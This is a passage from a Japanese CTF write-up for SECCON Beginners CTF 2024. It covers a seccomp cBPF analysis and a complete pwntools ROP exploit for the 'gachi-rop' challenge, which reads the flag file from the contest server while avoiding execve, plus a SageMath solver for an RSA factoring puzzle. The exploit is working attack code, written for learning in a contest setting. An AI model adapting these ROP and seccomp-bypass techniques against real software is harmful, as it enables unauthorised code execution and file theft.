    result += " | " + {
0x00: "BPF_K",
0x08: "BPF_X",
        }[code & 0x08]
    return result

def disassemble_one_instruction(data):
    # https://github.com/torvalds/linux/blob/v4.18/include/uapi/linux/filter.h
    # https://atmarkit.itmedia.co.jp/ait/articles/1812/10/news016.html
    (code, jt, jf, k) = struct.unpack("<HBBL", data)
    print(f"{decode_code(code) = }, {jt = :02x}, {jf = :02x}, {k = :08x}")



# .data:0000000000404080
data_all = bytes.fromhex("20 00 00 00 04 00 00 00 15 00 00 05 3E 00 00 C0 20 00 00 00 00 00 00 00 35 00 03 00 00 00 00 40 15 00 02 00 3B 00 00 00 15 00 01 00 42 01 00 00 06 00 00 00 00 00 FF 7F 06 00 00 00 00 00 05 00")
for i in range(8):
    disassemble_one_instruction(data_all[i*8: (i+1)*8])

実行しました:

$ ./disassemble_cbpf_by_hand.py
decode_code(code) = 'BPF_LD | BPF_W | BPF_ABS | BPF_JGT | BPF_K', jt = 00, jf = 00, k = 00000004
decode_code(code) = 'BPF_JMP | BPF_B | BPF_IMM | BPF_JEQ | BPF_K', jt = 00, jf = 05, k = c000003e
decode_code(code) = 'BPF_LD | BPF_W | BPF_ABS | BPF_JGT | BPF_K', jt = 00, jf = 00, k = 00000000
decode_code(code) = 'BPF_JMP | BPF_B | BPF_ABS | BPF_JGE | BPF_K', jt = 03, jf = 00, k = 40000000
decode_code(code) = 'BPF_JMP | BPF_B | BPF_IMM | BPF_JEQ | BPF_K', jt = 02, jf = 00, k = 0000003b
decode_code(code) = 'BPF_JMP | BPF_B | BPF_IMM | BPF_JEQ | BPF_K', jt = 01, jf = 00, k = 00000142
decode_code(code) = 'BPF_RET | BPF_W | BPF_IMM | BPF_JA | BPF_K', jt = 00, jf = 00, k = 7fff0000
decode_code(code) = 'BPF_RET | BPF_W | BPF_IMM | BPF_JA | BPF_K', jt = 00, jf = 00, k = 00050000
$

ビットの扱いが分かっていませんが、LinuxのBPF : (2) seccompでの利用 - 睡分不足記事のBPFフィルタープログラムと見比べてエスパーしました:

[0] = BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, arch)))
[1] = BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 0, 5)
[2] = BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, nr))) // nrはシステムコール番号 https://elixir.bootlin.com/linux/v5.7.1/source/include/uapi/linux/seccomp.h
[3] = BPF_JUMP(BPF_JMP | BPF_JGE | BPF_K, 0x40000000, 3, 0) // 0x40000000の意味が分からず
[4] = BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 59, 2, 0) // 59(=execve), system関数使えないらしい!
[5] = BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 322, 1, 0) // 322(=execveat), 分かっていませんが多分execveの親戚でしょう
[6] = BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW) // 許可
[7] = BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ERRNO) // 禁止

察するに、 sock_filterjt, jf メンバーは、InstructionPointerが sock_filter を読み取って次の要素へ移動した後の相対移動量のようです。そのため jtjf が0の場合は実質ジャンプしない分岐を表すようです。

結局、cBPF全体を通じて execve システムコールや system 関数を防いでいるらしいことが分かりました。問題説明文の通りでone-gadgetを防いでいます!

ちなみに他の方のwrite-up SECCON Beginners CTF 2024 Writeup #Security - Qiita で知ったことなのですが、 david942j/seccomp-tools: Provide powerful tools for seccomp analysisを使うとcBPFをディアセンブルできます!

$ seccomp-tools --version
SeccompTools Version 1.6.1
$ seccomp-tools dump ./gachi-rop
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x03 0x00 0x40000000  if (A >= 0x40000000) goto 0007
 0004: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0007
 0005: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00050000  return ERRNO(0)
$

ROPで行うべきこと

ところでの話なのですが、 Dockerfile に次の行があります:

(前略)
WORKDIR /app
COPY gachi-rop run
COPY flag.txt /flag.txt
RUN mkdir ctf4b
RUN  mv /flag.txt ctf4b/flag-$(md5sum /flag.txt | awk '{print $1}').txt
(後略)

つまりコンテナ内部では flag.txt ではなく flag-MD5ハッシュ値.txt 形式の名前に変更されています。また、置かれているディレクトリは /app/ctf4b/ 以下です。

そのためROPでは次の2つのことを行う必要があります:

  1. /app/ctf4b/ 以下に存在するファイルを列挙して、ファイル名を出力すること
  2. 得られたファイル名を使って open システムコールでFDを開き、 read システムコールでファイル内容を読み込み、 write システムコールで標準出力へ書き込むこと
    • reversingジャンルの assemble 問題でまさにやったことです!

ファイル列挙の方法を strace ls / で雑に調べると、次のようなシステムコールで実現できるようでした:

openat(AT_FDCWD, "/", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
fstat(3, {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
getdents64(3, 0x56207cf287e0 /* 36 entries */, 32768) = 1000
getdents64(3, 0x56207cf287e0 /* 0 entries */, 32768) = 0
close(3)                                = 0

ROPガジェット探索

JonathanSalwan/ROPgadget: This tool lets you search your gadgets on your binaries to facilitate your ROP exploitation. ROPgadget supports ELF, PE and Mach-O format on x86, x64, ARM, ARM64, PowerPC, SPARC, MIPS, RISC-V 64, and RISC-V Compressed architectures. を使って、 ROPgadget --binary libc.so.6 --nojop --depth 10 | grep -v jmp | grep -v call | grep -v retf | tee ropgadget_libc.txt のようにlibcからROPガジェットを抽出して、テキストエディタや grep コマンドで検索しました。

ただし ROPgadget コマンドの場合、 syscall 命令をガジェット末尾として解釈するようでした。そのため syscall ; ret ガジェットが存在するかどうか分かりませんでした。困ったのでlibcの syscall 関数中にある syscall 命令をガジェットに使いました:

.text:000000000011E88B                 syscall                 ; LINUX -
.text:000000000011E88D                 cmp     rax, 0FFFFFFFFFFFFF001h
.text:000000000011E893                 jnb     short loc_11E896
.text:000000000011E895                 retn
.text:000000000011E896 ; ---------------------------------------------------------------------------
.text:000000000011E896
.text:000000000011E896 loc_11E896:                             ; CODE XREF: syscall+23↑j
.text:000000000011E896                 mov     rcx, cs:off_219E10
.text:000000000011E89D                 neg     eax
.text:000000000011E89F                 mov     fs:[rcx], eax
.text:000000000011E8A2                 or      rax, 0FFFFFFFFFFFFFFFFh
.text:000000000011E8A6                 retn

なお gachi-rop 側は GLIBC_2.34 製のようです。 glibc code reading ~なぜ俺達のglibcは後方互換を捨てたのか~ - HackMD に記載のある通り、glibc 2.34では __libc_csu_init などが削除されているため、全然ROPガジェットがありません。

実装したソルバーと実行結果

あとは真っ当にROPへ起こして実行するだけ、と思ったのですが何個か困り事が起こりました:

  • 最初はファイルの列挙に getdents システムコールを使おうと思っていたのですが、どうにもうまくいきませんでした。man 2 getdents を見ると These are not the interfaces you are interested in. Look at readdir(3) for the POSIX-conforming C library interface. とありましたし、せっかくlibc全体があるので、 opendir 関数や readdir 関数を使うことにしました。
    • うまくいかなかったときのソースは消してしまいましたが、思い返せば「1要素だけ取得でいいので第3引数は1!」としてしまっていた気がします。しかし man 2 getdents を見ると、第3引数の引数名は count ですが、 The argument count specifies the size of that buffer. とあり、バイト単位のサイズを指定するのが正しいようです。おそらくそのことが原因です。
  • readdir 関数結果の struct dirent * からファイル名を取得するために、5番目のメンバー char d_name[256] のオフセットを知りたくなりました。Google検索等をしても見つからなかったので、 printf("%d\n", offsetof(struct dirent, d_name)) するCコードを書いてコンパイル、実行して、 19 らしいと分かりました。奇数オフセットとは珍しい……。
  • 「libc中なら潤沢にROPガジェットがあるはずなので何でもできる」と思っていましたが、 mov rdi, rax ; ret などのレジスタ間の移動が想像以上に少なかったです。一方で xchg edi, eax ; ret などの32-bitレジスタを対象にするガジェットはある程度ありました。今回の目的でレジスタ間移動させたい数値は次の2種類で、どちらも問題なかったことから32-bitレジスタのガジェットで誤魔化しました。
    • opendir 関数結果の DIR* 値。ローカル環境で確かめると 0x1c3d2a0 などの小さい値で、かつpwndbgの vmmap コマンドで見るとヒープのアドレスのようでした。ASLRがあったとしても32-bitを超えるような激変はしないと仮定しました。
    • open システムコール結果のfd値。これは 3 などの小さい値になるはずなので、32-bitで間違いなく足りるはずです。

ROPガジェットの命名規則は IUPAP Nomenclature of Pwnable - CTFするぞ を参考にしました。最終的なソルバーです:

#!/usr/bin/env python3

import os

import pwn

BIN_NAME = "./gachi-rop_patched"
pwn.context.binary = BIN_NAME
# pwn.context.log_level = "DEBUG"


def solve(io):
    io.recvuntil(b"system@")
    addr_system = int(io.recvline().decode(), 16)
    print(f"{addr_system = : 08x}")

    # chall = pwn.ELF(BIN_NAME, checksec=False) # 使いませんでした
    libc = pwn.ELF("libc.so.6", checksec=False)
    libc.address = addr_system - libc.symbols["system"]
    print(f"{libc.address = : 08x}")

    addr_writable = 0x404060  # BSS分含めて、0x4040E0までの128バイトを書き込めるはず
    # ROPgadgetで探索
    rop_syscall = (
        libc.address + 0x000000000011E88B
    )  # syscall関数のもの、実際は直後に「cmp     rax, 0FFFFFFFFFFFFF001h」と「jnb     short loc_11E896」が続く
    rop_pop_rax = libc.address + 0x0000000000045EB0
    rop_pop_rdi = libc.address + 0x000000000002A3E5
    rop_pop_rsi = libc.address + 0x000000000002BE51
    rop_pop_rdx_r12 = libc.address + 0x000000000011F2E7  # pop rdx単独がなかった

    rop_mov_rax_prax = libc.address + 0x000000000014A1CC  # mov rax, qword ptr [rax]
    rop_mov_prdx_rax = libc.address + 0x000000000003A410  # mov qword ptr [rdx], rax
    rop_mov_prax_rdx = libc.address + 0x0000000000039BF7  # mov [rax], rdx

    rop_add_rax_rdx = libc.address + 0x000000000007D2EA  # add rax, rdx
    rop_xchg_edi_eax = libc.address + 0x000000000014A1B5  # xchg edi, eax
    rop_ret = libc.address + 0x0000000000029139  # ret

    # retアドレスまでの埋めもの
    payload = b"A" * 0x18

    # open
    # 「ls /app/ctf4b」相当のことをしたい
    # まずはパスの準備
    payload += pwn.flat([rop_pop_rax, addr_writable])
    payload += pwn.flat([rop_pop_rdx_r12, b"/app/ctf", 0xDEADBEEF])
    payload += pwn.flat([rop_mov_prax_rdx])
    payload += pwn.flat([rop_pop_rax, addr_writable + 8])
    payload += pwn.flat([rop_pop_rdx_r12, b"4b/\x00\x00\x00\x00\x00", 0xDEADBEEF])
    payload += pwn.flat([rop_mov_prax_rdx])

    payload += pwn.flat([rop_pop_rdi, addr_writable])
    payload += pwn.flat([rop_ret, libc.symbols["opendir"]])  # スタック位置調整が必要
    # 繰り返し使うので保存しておきます
    payload += pwn.flat([rop_pop_rdx_r12, addr_writable, 0xDEADBEEF])
    payload += pwn.flat([rop_mov_prdx_rax])
    for i in range(3):  # ファイル数は ".", "..", フラグの3個
        # readdir
        payload += pwn.flat([rop_pop_rax, addr_writable])
        payload += pwn.flat([rop_mov_rax_prax])
        payload += pwn.flat([rop_xchg_edi_eax])
        payload += pwn.flat([libc.symbols["readdir"]])
        # 取得した内容を表示したい
        # offsetof(struct dirent, d_name) == 19
        # 取得結果は4バイトに収まると信じてexxレジスタを使います
        payload += pwn.flat([rop_pop_rdx_r12, 19, 0xDEADBEEF])
        payload += pwn.flat([rop_add_rax_rdx])
        payload += pwn.flat([rop_xchg_edi_eax])
        payload += pwn.flat([rop_ret, libc.symbols["puts"]])
    payload += pwn.flat([rop_pop_rax, addr_writable])
    payload += pwn.flat([rop_mov_rax_prax])
    payload += pwn.flat([rop_xchg_edi_eax])
    payload += pwn.flat([libc.symbols["closedir"]])

    # ファイルパスが「/app/ctf4b/flag-40ff81b29993c8fc02dbf404eddaf143.txt」と分かったので後はそれを読み込む
    # ファイルパスの準備
    payload += pwn.flat([rop_pop_rax, addr_writable + 0x00])
    payload += pwn.flat([rop_pop_rdx_r12, b"/app/ctf", 0xDEADBEEF])
    payload += pwn.flat([rop_mov_prax_rdx])
    payload += pwn.flat([rop_pop_rax, addr_writable + 0x08])
    payload += pwn.flat([rop_pop_rdx_r12, b"4b/flag-", 0xDEADBEEF])
    payload += pwn.flat([rop_mov_prax_rdx])
    payload += pwn.flat([rop_pop_rax, addr_writable + 0x10])
    payload += pwn.flat([rop_pop_rdx_r12, b"40ff81b2", 0xDEADBEEF])
    payload += pwn.flat([rop_mov_prax_rdx])
    payload += pwn.flat([rop_pop_rax, addr_writable + 0x18])
    payload += pwn.flat([rop_pop_rdx_r12, b"9993c8fc", 0xDEADBEEF])
    payload += pwn.flat([rop_mov_prax_rdx])
    payload += pwn.flat([rop_pop_rax, addr_writable + 0x20])
    payload += pwn.flat([rop_pop_rdx_r12, b"02dbf404", 0xDEADBEEF])
    payload += pwn.flat([rop_mov_prax_rdx])
    payload += pwn.flat([rop_pop_rax, addr_writable + 0x28])
    payload += pwn.flat([rop_pop_rdx_r12, b"eddaf143", 0xDEADBEEF])
    payload += pwn.flat([rop_mov_prax_rdx])
    payload += pwn.flat([rop_pop_rax, addr_writable + 0x30])
    payload += pwn.flat([rop_pop_rdx_r12, b".txt\x00\x00\x00\x00", 0xDEADBEEF])
    payload += pwn.flat([rop_mov_prax_rdx])
    # 1 open
    payload += pwn.flat([rop_pop_rdi, addr_writable])
    payload += pwn.flat([rop_pop_rsi, os.O_RDONLY])
    payload += pwn.flat([rop_pop_rax, pwn.constants.SYS_open])
    payload += pwn.flat([rop_syscall])
    # 2 read
    READ_SIZE = 64
    payload += pwn.flat([rop_xchg_edi_eax])
    payload += pwn.flat([rop_pop_rsi, addr_writable])
    payload += pwn.flat([rop_pop_rdx_r12, READ_SIZE, 0xDEADBEEF])
    payload += pwn.flat([rop_pop_rax, pwn.constants.SYS_read])
    payload += pwn.flat([rop_syscall])
    # 3 write
    payload += pwn.flat([rop_pop_rdi, pwn.constants.STDOUT_FILENO])
    payload += pwn.flat([rop_pop_rsi, addr_writable])
    payload += pwn.flat([rop_pop_rdx_r12, READ_SIZE, 0xDEADBEEF])
    payload += pwn.flat([rop_pop_rax, pwn.constants.SYS_write])
    payload += pwn.flat([rop_syscall])
    # コピペ兼exit用
    payload += pwn.flat([rop_pop_rax, pwn.constants.SYS_exit])
    payload += pwn.flat([rop_pop_rdi, 0])
    payload += pwn.flat([rop_pop_rsi, 0])
    payload += pwn.flat([rop_pop_rdx_r12, 0, 0xDEADBEEF])
    payload += pwn.flat([rop_syscall])
    payload += pwn.flat([])

    assert b"\n" not in payload
    io.sendlineafter(b"Name: ", payload)
    io.recvline_contains(b"Hello, gachi-rop-")
    print(io.recvall().decode())


with pwn.remote("gachi-rop.beginners.seccon.games", 4567) as io:
    solve(io)
COMMAND = """
b *0x4012A1
continue
"""
# with pwn.gdb.debug(BIN_NAME, COMMAND) as io:
#     solve(io)

実行しました:

$ ./solve.py
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[*] '/mnt/d/Documents/work/ctf/SECCON_Beginners_CTF_2024/gachi-rop/gachi-rop_patched'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)
    RUNPATH:  b'.'
[+] Opening connection to gachi-rop.beginners.seccon.games on port 4567: Done
addr_system =  7feb86b26d70
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
libc.address =  7feb86ad6000
[+] Receiving all data: Done (111B)
[*] Closed connection to gachi-rop.beginners.seccon.games port 4567
flag-40ff81b29993c8fc02dbf404eddaf143.txt
.
..
ctf4b{64ch1_r0p_r3qu1r35_mu5cl3_3h3h3}04eddaf143.txt\x00\x00\x00\x005\x00\x03\x00\x00\x00\x00@
$

最後のフラグ読み込み先領域としてファイルパス領域を使いまわしているためファイルパスの一部が残っていますが、ともかくフラグを入手できました: ctf4b{64ch1_r0p_r3qu1r35_mu5cl3_3h3h3}

なお、libcが読み込まれるアドレスは、ASLRにより実行ごとに変化します。使っているいずれかのROPガジェットに偶然 0x0a (== "\n") バイトが入ると assert で実行に失敗します。試した範囲では大体は成功して、たまに失敗するくらいでした。

この問題が解けるまでに5時間弱かかりました。筋肉は大事です!

私は全部ROPでやりましたが他の方のwrite-upを見ると、 gets 関数を併用してファイルパスを後で送り込んでいたり、 mprotect でスタックを実行可能にしてシェルコードを直接実行していたりしました。いろいろな方法があるのですね。

ある程度進められたけど解けなかった問題

[crypto, easy] math (119 teams solved, 93 points)

RSA暗号に用いられる変数に特徴的な条件があるようですね...?

配布ファイルとして、問題本体のchal.pyと、実質的な内容がすべてREDUCTEDなsecret.py、出力のoutput.txtがありました:

from Crypto.Util.number import bytes_to_long, isPrime
from secret import (
    x,
    p,
    q,
)  # x, p, q are secret values, please derive them from the provided other values.
import gmpy2


def is_square(n: int):
    return gmpy2.isqrt(n) ** 2 == n


assert isPrime(p)
assert isPrime(q)
assert p != q

a = p - x
b = q - x
assert is_square(x) and is_square(a) and is_square(b)

n = p * q
e = 65537
flag = b"ctf4b{dummy_f14g}"
mes = bytes_to_long(flag)
c = pow(mes, e, n)

print(f"n = {n}")
print(f"e = {e}")
print(f"cipher = {c}")
print(f"ab = {a * b}")

# clews of factors
assert gmpy2.mpz(a) % 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169 == 0
assert gmpy2.mpz(b) % 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661 == 0

output.txt に含まれる ab の数値をfactordb.comで検索すると (3 · 173 · 199 · 306606827773 · 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661 · 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169) ^ 2 であることが分かりました。ここで素因数6個のうち後ろ2つは chall.py 最後の # clews of factors 箇所で登場しています。

しばらく考えて、次の方針を思いつきました:

  • 数式を変形します:
    • a = p - x から p = a + x です。
    • b = q - x から q = b + x です。
    • p = a + xq = b + x を掛けて pq = n = ab + (a+b)x + x^2 を得ます。
    • 更に式変形して x^2 + (a+b)x + ab - n = 0 を得ます。ここでの未知数は a , b, x の3個です。
  • ab も平方数であるため、 ab の素因数6個のうち最初4個を ab のどちらかに割り振るか全探索できます。組み合わせの数は 2**4 = 16 通りです。
  • ab の割り当てが決まると、上の方程式の未知数が x だけとなり、 x の二次方程式となるため求根できます。
  • 求めた x が平方数になれば p, q を計算できて、暗号文を復号できます。

sagemathを使うので、この問題だけはUbuntu 22.04を使いました。ソルバーを書きました:

#!/usr/bin/env sage

# output.txt内容
n = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649220231238608229533197681923695173787489927382994313313565230817693272800660584773413406312986658691062632592736135258179504656996785441096071602835406657489695156275069039550045300776031824520896862891410670249574658456594639092160270819842847709283108226626919671994630347532281842429619719214221191667701686004691774960081264751565207351509289
e = 65537
cipher = 21584943816198288600051522080026276522658576898162227146324366648480650054041094737059759505699399312596248050257694188819508698950101296033374314254837707681285359377639170449710749598138354002003296314889386075711196348215256173220002884223313832546315965310125945267664975574085558002704240448393617169465888856233502113237568170540619213181484011426535164453940899739376027204216298647125039764002258210835149662395757711004452903994153109016244375350290504216315365411682738445256671430020266141583924947184460559644863217919985928540548260221668729091080101310934989718796879197546243280468226856729271148474
ab = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649102926524363237634349331663931595027679709000404758309617551370661140402128171288521363854241635064819660089300995273835099967771608069501973728126045089426572572945113066368225450235783211375678087346640641196055581645502430852650520923184043404571923469007524529184935909107202788041365082158979439820855282328056521446473319065347766237878289

mod_a = 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169
mod_b = 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661
assert mod_a.is_prime()
assert mod_b.is_prime()
assert ab % mod_a == 0
assert ab % mod_b == 0

assert (3 * 173 * 199 * 306606827773 * mod_b * mod_a) ** 2 == ab


# ax^2 + bx + c = 0
def roots_of_quadratic_equation(a, b, c):
    x = var("x")
    s = solve((a * x * x) + (b * x) + c == 0, x)
    # print(s)
    return s


def try_solve(a, b):
    assert (a * b) % mod_a == 0
    assert (a * b) % mod_b == 0
    assert (a * b) == ab
    # print(f"{a = }")
    # print(f"{b = }")

    (x1, x2) = roots_of_quadratic_equation(1, a + b, a * b - n)
    # 試したら、16通りのうち整数解が得られるのは1通りだけで、かつそのうち正の数はx1側だけでした
    # solve結果(sage.symbolic.expression.Expression型)からintへ変換する方法がわからなかったので、直接割り当てています……
    x1 = 10221013321700464817330531356688256100
    p = x1 + a
    q = x1 + b
    print(f"{p = }")
    print(f"{q = }")
    # print(f"{p*q = }")
    if p * q != n:
        return False
    print("OK!!!!!!!!")
    d = pow(e, -1, (p - 1) * (q - 1))
    m = pow(cipher, d, n)
    print(int(m).to_bytes(128, "big"))


factors = [3, 173, 199, 306606827773]
for i in range(2 ** len(factors)):
    current_a = mod_a
    current_b = mod_b
    for j, f in enumerate(factors):
        if (i & (1 << j)) != 0:
            current_a *= f
        else:
            current_b *= f

        if (current_a * current_b) ** 2 == ab:
            try_solve(current_a**2, current_b**2)

実行しました:

$ sage --version
SageMath version 9.5, Release Date: 2022-01-30
$ ./solve.sage
p = 22106132303123168384133263859383830799281194460397075723417381178678338247179865229411628654335184934851567144692653218349774407842215067101728077186356547448509480760166108254166749079029140271667602428339018990692925169465886863300793640859701032008688853339527329798303040779380732189309462376362661
q = 1282357422056944411614313419348653105357124633991702798284527656530870359500914302021080331442633567266170076674464054991639740819010633098033561248993853328935042380517066092136587255211506962481662293164084965160148406574238827753083093822647538671782645670169874263517694507498246360221986141450162059507984949
(中略)
p = 7878824508023825320620552438859131751341011236435661361507465408511567856339128586549369157062948927445512194472763840898824746924636029850659802261912150719575815528250042476759316872507696855084778513881881419453874766724167271062172560745165185117184785529887592443232472500519042763719576401549059555549
q = 3597993939706753790208197378148848949822043309769682578959924290719006420996423496659961817582141773260972861724771414278651046463502978594910794197098988322222621708534481711002211659109357402539392364289580131703038942827590851390068976436194200123404980430263753899372174547820641396504020048511503939261
OK!!!!!!!!
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00ctf4b{c0u1d_y0u_3nj0y_7h3_m4theM4t1c5?}'
(後略)

何かと雑ですが、フラグを入手できました: ctf4b{c0u1d_y0u_3nj0y_7h3_m4theM4t1c5?}

さて、もしかしたら考察やソルバーまで一直線に向かっているように見えるかもしれませんが、実はドハマリしていました。理由は、 x の二次方程式を解いた結果が、直接 p, q になると何故か思い込んでいたからです。本当になぜ……。終了3分前に誤りに気付いて、終了20秒前に平文の10進数表現を出せて、終了40秒後に long_to_bytes 結果のフラグ文字列を得られました。寝ぼけまなこな状態で考察や実装をするものではないですね……。

感想

  • 奮闘できました!
  • reversingジャンルは、x86-ELFの慣れ親しんでいるmedium, hard問題が取っ掛かりやすくて、アセンブリ言語を直接書く必要があるbeginner問題や、LLVMアセンブリソースを扱うeasy問題の方がある意味苦労しました。
  • 各ジャンルに入門向け問題があるので、色々なジャンルに手を出しやすいのがありがたいです。